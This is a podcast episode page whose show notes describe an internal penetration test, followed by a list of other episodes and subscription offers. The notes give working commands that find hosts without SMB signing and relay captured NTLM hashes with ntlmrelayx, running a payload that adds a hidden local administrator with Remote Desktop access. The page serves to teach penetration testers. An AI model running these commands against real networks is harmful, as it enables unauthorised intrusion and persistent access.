7 Minute Security15 Juli 2019

7MS #372: Tales of Internal Pentest Pwnage - Part 5

Today's episode is brought to you by ITProTV. It's never too late to start a new career in IT or move up the ladder, and ITProTV has you covered - from CompTIA and Cisco to EC-Council and VMWare. Get over 65 hours of IT training for free by visiting https://pro.tv/7minute

Today I share the (hopefully) exciting and fun conclusion to last week's episode about a tale of internal pentest pwnage! A few important notes from today's episode:

Need to find which hosts on your network have SMB signing disabled, and then get a nice clean list of IPs as a result? Try this:

opt/responder/tools/RunFinger.py -i THE.SUBNET.YOU-ARE.ATTACKING/24 -g > hosts.txt grep "Signing:'False'" hosts.txt | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' > targets.txt

Source: Pwning internal networks automagically

Ready to pass captured hashes from one host to another? Open responder.conf and turn SMB and HTTP to Off, then get Responder running in one window, and ntlmrelayx in another. Specifically, I like to use ntlmrelayx.py -tf targets.txt where targets.txt is the list of machines you found that are not using SMB signing. I also like to add a -c to run a string of my choice. Check out this fun evil little nugget:

net user /add ladmin1 s00p3rn4ughtyguy! /Y & net localgroup Administrators ladmin1 /add & net localgroup "Remote Desktop Users" ladmin1 /add

So the full command would be:

ntlmrelayx.py -tf targets.txt -c 'net user /add ladmin1 s00p3rn4ughtyguy! /Y & net localgroup Administrators ladmin1 /add & net localgroup "Remote Desktop Users" ladmin1 /add'

Check today's show notes at https://7ms.us for more information!

Upptäck Premium

Prova 14 dagar kostnadsfritt

Skaffa Premium

Avsnitt(720)

7MS #375: Tales of Pentest Fail #3

I swear this program isn't turning into the Dr. Phil show, but I have to say that sharing tales of fail is extremely therapeutic for me, and based on your comments, it sounds like many of you feel the...

2 Aug 201940min

7MS #374: Tales of Internal Pentest Pwnage - Part 6

SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent...

24 Juli 20191h 12min

7MS #373: Tales of Pentest Fail #2

19 Juli 201934min

7MS #371: Tales of Internal Pentest Pwnage - Part 4

12 Juli 201944min

7MS #370: Happy Secure 4th!

Hey folks, happy secure 4th o' July! In today's seven minute episode (Wha? Gasp! Yep...it's seven minutes!) I kick back a bit, give you some updates and tease/prepare you for some cool full episodes t...

3 Juli 20197min

7MS #369: Cracking Hashes with NPK

Today's episode is brought to you by my friends at safepass.me. Safepass.me is the most efficient and cost-effective solution to prevent Active Directory users from setting a weak or compromised passw...

28 Juni 201919min

7MS #368: Tales of Pentest Fail

This episode of the 7 Minute Security Podcast is brought to you by Authentic8, creators of Silo. Silo allows its users to conduct online investigations to collect information off the web securely and ...

24 Juni 201936min

Allt en och samma app

Lyssna på dina favoritpoddar och ljudböcker på ett och samma ställe.

Noga utvalt innehåll

Njut av handplockade tips som passar din smak – utan ändlöst scrollande.

Fortsätt när du vill

Fortsätt lyssna där du slutade – även offline.

Premium

99 kr/ månad

Tillgång till alla Premium-poddar
Reklamfritt premium-innehåll
Avsluta när du vill

Prova 14 dagar gratis

Premium

129 kr/ månad

Tillgång till alla Premium-poddar
Reklamfritt premium-innehåll
Avsluta när du vill
Ett extra konto

Prova 14 dagar gratis

Populärt inom Politik & nyheter

Berättelserna och rösterna du älskar att lyssna på

Obegränsad lyssning på alla dina favoritpoddar och ljudböcker

Upptäck Premium